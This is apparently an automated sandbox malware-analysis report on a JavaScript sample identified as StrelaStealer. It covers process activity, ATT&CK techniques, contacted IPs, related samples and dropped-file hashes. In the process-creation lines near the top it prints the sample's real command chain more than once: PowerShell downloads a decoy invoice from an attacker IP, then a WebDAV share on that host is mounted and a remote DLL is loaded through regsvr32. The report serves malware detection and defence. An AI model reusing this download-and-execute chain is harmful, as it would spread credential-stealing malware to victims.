Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1505131979137938490.js	5%	Virustotal		Browse
1505131979137938490.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/va	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Ba	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
241.42.69.40.in-addr.arpa	unknown	unknown	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1337336933.000001EC61530000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2565997236.000001EC61684000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.11.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/Ba	net.exe, 0000000D.00000002.1337841719.000002EF94E3A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1337841719.000002EF94E08000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1337841719.000002EF94E3A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1337841719.000002EF94E62000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Num	net.exe, 0000000D.00000002.1337841719.000002EF94E08000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/va	net.exe, 0000000D.00000002.1337841719.000002EF94E3A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588993
Start date and time:	2025-01-11 08:08:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1505131979137938490.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/62@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 184.28.90.27, 34.237.241.83, 18.213.11.84, 50.16.47.176, 54.224.241.105, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 23.55.235.177, 23.54.161.98, 13.107.246.45, 3.233.129.217, 172.202.163.200, 23.47.168.24, 40.69.42.241, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:08:58	API Interceptor	21x Sleep call for process: powershell.exe modified
02:09:01	API Interceptor	1x Sleep call for process: net.exe modified
02:09:02	API Interceptor	2x Sleep call for process: svchost.exe modified
02:09:09	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4483138622176223122.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1534283901292319457.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2iH7rqx9rQ.exe	Get hash	malicious	Remcos	Browse	199.232.214.172
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3644547571625413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	894623912226711207.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4483138622176223122.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066903712232091
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq9:2JIB/wUKUKQncEmYRTwh0B
MD5:	516D1A36CB0521AF89E4868AA3BA2812
SHA1:	786380E7FD3A9F2513A52381990E6C6232FD88DB
SHA-256:	54372DF9ACDF425C6BA5E52FA66F1F2605DD5D6596DCF65458602BB47E94F16D
SHA-512:	F85DE461D45A9159A54596FDB0174A457E76F7B9599D352DF015B72E2E72B48EDB53384301459CE0F879DB971EB91C50D9A7E8CE6838144F3CF66B737698EEE5
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x9ac3cbbb, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899943754398719
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:jazaPvgurTd42UgSii
MD5:	F150573BCC7DE79AB99C0847B6D8614A
SHA1:	5CB3F273C5F6D6ED769798C4ECE0758F9700EF1E
SHA-256:	A4B7F4D54AC0B13C347ED9B7B42C3B5EEF42F464287613AC3503B53A51C97681
SHA-512:	777C839135140119E9539A25E8EE88A3FFC57023BAA9883DF838003804C71DB51E0A76506236C71D6CEDB8DC50AA7E9A6D8EBD2251055B6EA4B9F2F8F1B5D934
Malicious:	false
Preview:	...... ...............X\...;...{......................0.`.....42...{5......}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{................................../......}.....................%.....}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08197985559445777
Encrypted:	false
SSDEEP:	3:EGEYeQo8KAt/57Dek3J5Anya+llEqW3l/TjzzQ/t:Edz5OR3t5AnyPmd8/
MD5:	92C1AED0748616429CDBEE53D35CE029
SHA1:	E87F1504E1BE3AB40BFC38B2CCBAF5A084CCC933
SHA-256:	E5B26B366687D2C690509ABF709B9F916CFE11307E1C3359A38BB38512FF130C
SHA-512:	586A242854B59043E8B18B42476D020C880D30B47B49A423A25F727CC1F257BA0D4F7EFE0DB57ED3D94DBEA2761A21384568EF535ED923854B9406A81AA4FEA0
Malicious:	false
Preview:	..:^.....................................;...{.......}..42...{5.........42...{5.42...{5...Y.42...{59...................%.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.179773396297703
Encrypted:	false
SSDEEP:	6:iOSj6F5q2PcNwi2nKuAl9OmbnIFUtoj4FEZmwWj4FkkwOcNwi2nKuAl9OmbjLJ:7SjUvLZHAahFUtoj4FE/Wj4Fk54ZHAae
MD5:	12170DEE7464A46AD9DF675CCA3C9A28
SHA1:	4BCB534A1E0DF6D31B1C9ABEF8145A1BC57F7B62
SHA-256:	35B568B4E9D64F7F200D09DF5F0BAF31D7347D5719D4011ADF5219C68E2812C9
SHA-512:	165FAB2CABA8DE912EF29CB97CC7A11911591E0E20046F453E78167602DD7559C13EB0A9E61067C9BF2AD7FD50FFE2A0D125B7ABBD42973AB2D492B7A78FF802
Malicious:	false
Preview:	2025/01/11-02:09:01.494 1c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:09:01.496 1c94 Recovering log #3.2025/01/11-02:09:01.496 1c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.179773396297703
Encrypted:	false
SSDEEP:	6:iOSj6F5q2PcNwi2nKuAl9OmbnIFUtoj4FEZmwWj4FkkwOcNwi2nKuAl9OmbjLJ:7SjUvLZHAahFUtoj4FE/Wj4Fk54ZHAae
MD5:	12170DEE7464A46AD9DF675CCA3C9A28
SHA1:	4BCB534A1E0DF6D31B1C9ABEF8145A1BC57F7B62
SHA-256:	35B568B4E9D64F7F200D09DF5F0BAF31D7347D5719D4011ADF5219C68E2812C9
SHA-512:	165FAB2CABA8DE912EF29CB97CC7A11911591E0E20046F453E78167602DD7559C13EB0A9E61067C9BF2AD7FD50FFE2A0D125B7ABBD42973AB2D492B7A78FF802
Malicious:	false
Preview:	2025/01/11-02:09:01.494 1c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:09:01.496 1c94 Recovering log #3.2025/01/11-02:09:01.496 1c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.189669386060422
Encrypted:	false
SSDEEP:	6:iOSjehQL+q2PcNwi2nKuAl9Ombzo2jMGIFUtojtG1ZmwWjsUSQLVkwOcNwi2nKuA:7SjWvLZHAa8uFUtoj01/WjsUF54ZHAaU
MD5:	2EB7E73E459A0CFD8BF057FA793C6B21
SHA1:	B224CC765C7F15AF3925D624E88CFFD22101EA40
SHA-256:	742984763E56AFF5C0F429D6A69AC05AD479DA114B722BC92984258735698280
SHA-512:	067014ACE083587BA6DD7C2D067FBE586B4AAC633D0D64FF87BB94B08ADF8B88B22248774AA325B6227E2A8C5CFA44AE33E483B7E29FA8AFD7C88EA3710775A8
Malicious:	false
Preview:	2025/01/11-02:09:01.741 1d78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:09:01.742 1d78 Recovering log #3.2025/01/11-02:09:01.743 1d78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.189669386060422
Encrypted:	false
SSDEEP:	6:iOSjehQL+q2PcNwi2nKuAl9Ombzo2jMGIFUtojtG1ZmwWjsUSQLVkwOcNwi2nKuA:7SjWvLZHAa8uFUtoj01/WjsUF54ZHAaU
MD5:	2EB7E73E459A0CFD8BF057FA793C6B21
SHA1:	B224CC765C7F15AF3925D624E88CFFD22101EA40
SHA-256:	742984763E56AFF5C0F429D6A69AC05AD479DA114B722BC92984258735698280
SHA-512:	067014ACE083587BA6DD7C2D067FBE586B4AAC633D0D64FF87BB94B08ADF8B88B22248774AA325B6227E2A8C5CFA44AE33E483B7E29FA8AFD7C88EA3710775A8
Malicious:	false
Preview:	2025/01/11-02:09:01.741 1d78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:09:01.742 1d78 Recovering log #3.2025/01/11-02:09:01.743 1d78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\025299ce-e92c-409e-ad42-0e5f00fb71b9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0ac663e2-f9ef-428c-887f-ca3f27d2b27d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.959193048349497
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqtgAsBdOg2HZ2Zcaq3QYiubSpDyP7E4T3y:Y2sRdsNVdMHIg3QYhbSpDa7nby
MD5:	AFEF92259315D2D92901954D5820BF16
SHA1:	159E7F2823B06D36C8810C35CA367218FD22F6AD
SHA-256:	66FB8DC4F5869DBB0DD47E99717948595C964F2AD7D2189FC8651AE8DDF4B687
SHA-512:	5D003BC72B0AC5C7747235D9CDD14305693D7692FD10C735AAFF33F70BE7B3F09569DCE69B60628F961122CDA43F02A300C976266058E3CECE1D870682BAF1C1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381139353189100","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141352},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF55f2ee.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236812668070509
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPw1BS4U:CwNw1GHqPySfkcigoO3h28ytPw1BS4U
MD5:	8DBD798A846881A6D28796760E235A37
SHA1:	5B04E0E38733AD290A9262DEE5F32CA864D8C2A6
SHA-256:	6F3ED530B41B2CC0E0FC7512B81DF7B7B0EE97466FF74FF3E389D539621DB17B
SHA-512:	D5AFE6C75068CBB589AF90C3D41E73C165EC9935F1054B92736B22A71A4DFF85C26619EF16C709D22353CC69C85F1469FA6B1E6BBDB70A4916B1CBE5AC888539
Malicious:	false
